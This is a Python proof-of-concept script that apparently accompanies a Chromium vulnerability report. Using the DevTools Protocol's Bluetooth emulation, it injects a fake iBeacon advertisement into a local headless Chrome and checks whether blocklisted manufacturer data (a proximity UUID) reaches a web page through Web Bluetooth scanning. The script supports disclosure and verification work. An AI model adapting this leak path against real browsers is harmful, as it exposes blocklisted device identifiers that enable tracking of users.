#!/usr/bin/env python3
"""
POC driver for: ScanningClient::SendEvent delivers blocklisted iBeacon
manufacturer data via RequestScanningStart.

This script:
  1. Serves poc.html on http://127.0.0.1:8080/.
  2. Launches the supplied Chrome binary with the DevTools Protocol enabled.
  3. Uses the CDP `BluetoothEmulation` domain (browser target) to install a
     fake Bluetooth central, then injects a synthetic iBeacon advertisement.
  4. Reads back what the renderer received in its `advertisementreceived`
     event and reports whether the blocklisted iBeacon proximity UUID was
     leaked.

The only Chromium modification required is a one-line UI shim that
auto-accepts the Bluetooth scanning permission prompt (see
chromium-changes.patch). The vulnerable code path itself
(content/browser/bluetooth/advertisement_client.cc) is unmodified.
"""

import argparse
import base64
import http.server
import itertools
import json
import os
import socket
import socketserver
import struct
import subprocess
import sys
import threading
import time
import urllib.request

HERE = os.path.dirname(os.path.abspath(__file__))
HTTP_PORT = 8765
DEBUG_PORT = 9333

# Standard iBeacon manufacturer-data payload (company_id = 0x004C):
#   0x02 0x15 <16-byte proximity UUID> <major:2> <minor:2> <tx power:1>
# The 0x02 prefix is what BluetoothBlocklist registers as blocklisted:
#   bluetooth_blocklist.cc: Add(0x4c, {{0x02, 0xff}});
PROXIMITY_UUID = bytes.fromhex('e2c56db5dffb48d2b060d0f5a71096e0')
IBEACON_PAYLOAD = bytes([0x02, 0x15]) + PROXIMITY_UUID + bytes([0x00, 0x01,
                                                                0x00, 0x02,
                                                                0xc5])
APPLE_COMPANY_ID = 0x004C


# ---------------------------------------------------------------------------
# Tiny HTTP server for poc.html
# ---------------------------------------------------------------------------

class Handler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *a, **kw):
        super().__init__(*a, directory=HERE, **kw)

    def log_message(self, fmt, *args):  # quiet
        pass


def start_http_server():
    socketserver.TCPServer.allow_reuse_address = True
    httpd = socketserver.TCPServer(('127.0.0.1', HTTP_PORT), Handler)
    t = threading.Thread(target=httpd.serve_forever, daemon=True)
    t.start()
    return httpd


# ---------------------------------------------------------------------------
# Minimal CDP-over-WebSocket client (RFC 6455, no external deps)
# ---------------------------------------------------------------------------

class WS:
    def __init__(self, url):
        assert url.startswith('ws://')
        rest = url[len('ws://'):]
        hostport, path = rest.split('/', 1)
        host, port = hostport.split(':')
        self.sock = socket.create_connection((host, int(port)))
        key = base64.b64encode(os.urandom(16)).decode()
        req = (
            f'GET /{path} HTTP/1.1\r\n'
            f'Host: {host}:{port}\r\n'
            'Upgrade: websocket\r\n'
            'Connection: Upgrade\r\n'
            f'Sec-WebSocket-Key: {key}\r\n'
            'Sec-WebSocket-Version: 13\r\n\r\n'
        )
        self.sock.sendall(req.encode())
        self.sock.settimeout(30)
        # Read handshake response.
        resp = b''
        while b'\r\n\r\n' not in resp:
            chunk = self.sock.recv(4096)
            if not chunk:
                raise RuntimeError('socket closed during handshake')
            resp += chunk
        header, leftover = resp.split(b'\r\n\r\n', 1)
        if b'101' not in header.split(b'\r\n', 1)[0]:
            raise RuntimeError('WebSocket handshake failed: ' +
                               header.decode(errors='replace'))
        self._buf = leftover
        self._lock = threading.Lock()

    def _read_exact(self, n):
        while len(self._buf) < n:
            chunk = self.sock.recv(65536)
            if not chunk:
                raise RuntimeError('socket closed')
            self._buf += chunk
        out, self._buf = self._buf[:n], self._buf[n:]
        return out

    def recv_frame(self):
        data = b''
        while True:
            h = self._read_exact(2)
            fin = h[0] & 0x80
            opcode = h[0] & 0x0F
            length = h[1] & 0x7F
            if length == 126:
                length = struct.unpack('>H', self._read_exact(2))[0]
            elif length == 127:
                length = struct.unpack('>Q', self._read_exact(8))[0]
            payload = self._read_exact(length)
            if opcode == 0x8:  # close
                raise RuntimeError('ws close')
            if opcode == 0x9:  # ping
                self._send_raw(0xA, payload)
                continue
            if opcode == 0xA:  # pong
                continue
            data += payload
            if fin:
                return data

    def _send_raw(self, opcode, payload):
        with self._lock:
            mask = os.urandom(4)
            header = bytes([0x80 | opcode])
            ln = len(payload)
            if ln < 126:
                header += bytes([0x80 | ln])
            elif ln < 65536:
                header += bytes([0x80 | 126]) + struct.pack('>H', ln)
            else:
                header += bytes([0x80 | 127]) + struct.pack('>Q', ln)
            masked = bytes(b ^ mask[i % 4] for i, b in enumerate(payload))
            self.sock.sendall(header + mask + masked)

    def send_text(self, text):
        self._send_raw(0x1, text.encode())


class CDP:
    def __init__(self, ws_url):
        self.ws = WS(ws_url)
        self.ids = itertools.count(1)
        self.pending = {}
        self.events = []

    def send(self, method, params=None, session_id=None, timeout=20):
        mid = next(self.ids)
        msg = {'id': mid, 'method': method, 'params': params or {}}
        if session_id:
            msg['sessionId'] = session_id
        self.ws.send_text(json.dumps(msg))
        deadline = time.time() + timeout
        while time.time() < deadline:
            raw = self.ws.recv_frame()
            obj = json.loads(raw)
            if obj.get('id') == mid:
                if 'error' in obj:
                    raise RuntimeError(f'{method} -> {obj["error"]}')
                return obj.get('result', {})
            self.events.append(obj)
        raise RuntimeError(f'timeout waiting for {method}')


# ---------------------------------------------------------------------------
# Main driver
# ---------------------------------------------------------------------------

def wait_for_devtools():
    for _ in range(120):
        try:
            with urllib.request.urlopen(
                    f'http://127.0.0.1:{DEBUG_PORT}/json/version',
                    timeout=1) as r:
                return json.load(r)
        except Exception:
            time.sleep(0.5)
    raise RuntimeError('DevTools endpoint never came up')


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('--chrome', required=True, help='path to chrome binary')
    ap.add_argument('--user-data-dir', default='/tmp/chrome-poc-ibeacon')
    args = ap.parse_args()

    print('[*] starting http server on http://127.0.0.1:%d/poc.html' % HTTP_PORT)
    httpd = start_http_server()

    chrome_cmd = [
        args.chrome,
        '--no-first-run', '--no-default-browser-check',
        '--disable-gpu',
        '--user-data-dir=' + args.user_data_dir,
        '--enable-experimental-web-platform-features',
        '--enable-features=WebBluetooth',
        '--headless=new',
        '--remote-debugging-port=%d' % DEBUG_PORT,
        '--remote-allow-origins=*',
        'about:blank',
    ]
    print('[*] launching chrome: ' + ' '.join(chrome_cmd))
    chrome = subprocess.Popen(chrome_cmd, stdout=subprocess.PIPE,
                              stderr=subprocess.STDOUT)

    try:
        ver = wait_for_devtools()
        browser_ws = ver['webSocketDebuggerUrl']
        print('[*] browser CDP endpoint: ' + browser_ws)
        cdp = CDP(browser_ws)

        # 1. Install a fake Bluetooth central via the browser-level
        #    BluetoothEmulation domain.
        cdp.send('BluetoothEmulation.enable',
                 {'state': 'powered-on', 'leSupported': True})
        print('[*] BluetoothEmulation enabled (FakeCentral installed)')

        # 2. Open the POC page and attach to it.
        target = cdp.send('Target.createTarget',
                          {'url': f'http://127.0.0.1:{HTTP_PORT}/poc.html'})
        target_id = target['targetId']
        att = cdp.send('Target.attachToTarget',
                       {'targetId': target_id, 'flatten': True})
        sess = att['sessionId']
        cdp.send('Runtime.enable', {}, session_id=sess)
        cdp.send('Page.enable', {}, session_id=sess)

        # Wait for the page to be ready.
        for _ in range(60):
            r = cdp.send('Runtime.evaluate',
                         {'expression': 'typeof window.startScan',
                          'returnByValue': True},
                         session_id=sess)
            if r.get('result', {}).get('value') == 'function':
                break
            time.sleep(0.25)
        else:
            raise RuntimeError('poc.html never loaded')

        # 3. Kick off requestLEScan with a user gesture. The patched
        #    ShowBluetoothScanningPrompt auto-accepts, so this resolves
        #    immediately and the FakeCentral starts a discovery session.
        r = cdp.send('Runtime.evaluate',
                     {'expression': 'window.startScan()',
                      'awaitPromise': True,
                      'userGesture': True,
                      'returnByValue': True},
                     session_id=sess)
        print('[*] startScan() -> %r' % r.get('result', {}).get('value'))

        # Give the browser a moment to register the ScanningClient.
        time.sleep(0.5)

        # 4. Inject a synthetic iBeacon advertisement via the browser
        #    target. This drives FakeCentral::SimulateAdvertisementReceived
        #    -> WebBluetoothServiceImpl::DeviceAdvertisementReceived
        #    -> ScanningClient::SendEvent (the vulnerable path).
        scan_entry = {
            'deviceAddress': '09:09:09:09:09:09',
            'rssi': -42,
            'scanRecord': {
                'name': 'Fake iBeacon',
                'appearance': 0,
                'txPower': -12,
                'manufacturerData': [{
                    'key': APPLE_COMPANY_ID,
                    'data': base64.b64encode(IBEACON_PAYLOAD).decode(),
                }],
            },
        }
        cdp.send('BluetoothEmulation.simulateAdvertisement',
                 {'entry': scan_entry})
        print('[*] simulated iBeacon advertisement '
              '(company=0x004c, prefix=0x02)')

        # 5. Read back what the renderer saw.
        result = None
        for _ in range(40):
            r = cdp.send('Runtime.evaluate',
                         {'expression': 'JSON.stringify(window.__result)',
                          'returnByValue': True},
                         session_id=sess)
            result = json.loads(r['result']['value'])
            if result.get('state') != 'pending':
                break
            time.sleep(0.25)

        # Also grab the on-page log for the report.
        r = cdp.send('Runtime.evaluate',
                     {'expression':
                          'document.getElementById("log").textContent',
                      'returnByValue': True},
                     session_id=sess)
        page_log = r['result']['value']

        print('\n========== renderer-side log ==========')
        print(page_log.rstrip())
        print('=======================================\n')

        if result and result.get('state') == 'LEAK':
            print('[!] VULNERABILITY CONFIRMED')
            print('    Renderer received blocklisted manufacturer data:')
            print('      companyId      = 0x%04x (Apple)' %
                  result['companyId'])
            print('      data prefix    = 0x%02x '
                  '(matches blocklist entry {0x02, 0xff})' %
                  result['prefix'])
            print('      proximity UUID = %s' % result['proximityUUID'])
            print('      raw bytes      = %s' % result['rawData'])
            print()
            print('    BluetoothBlocklist::IsExcluded(0x004c, <0x02 ...>) '
                  'returns true,')
            print('    but ScanningClient::SendEvent never consults the '
                  'blocklist on the')
            print('    RequestScanningStart path '
                  '(content/browser/bluetooth/advertisement_client.cc).')
            rc = 0
        else:
            print('[-] did not observe leak (result=%r)' % result)
            rc = 1
        return rc
    finally:
        chrome.terminate()
        try:
            out = chrome.communicate(timeout=10)[0]
        except subprocess.TimeoutExpired:
            chrome.kill()
            out = chrome.communicate()[0]
        httpd.shutdown()
        sys.stderr.write('\n--- chrome stderr/stdout (tail) ---\n')
        tail = out.decode(errors='replace').splitlines()[-40:]
        sys.stderr.write('\n'.join(tail) + '\n')


if __name__ == '__main__':
    sys.exit(main())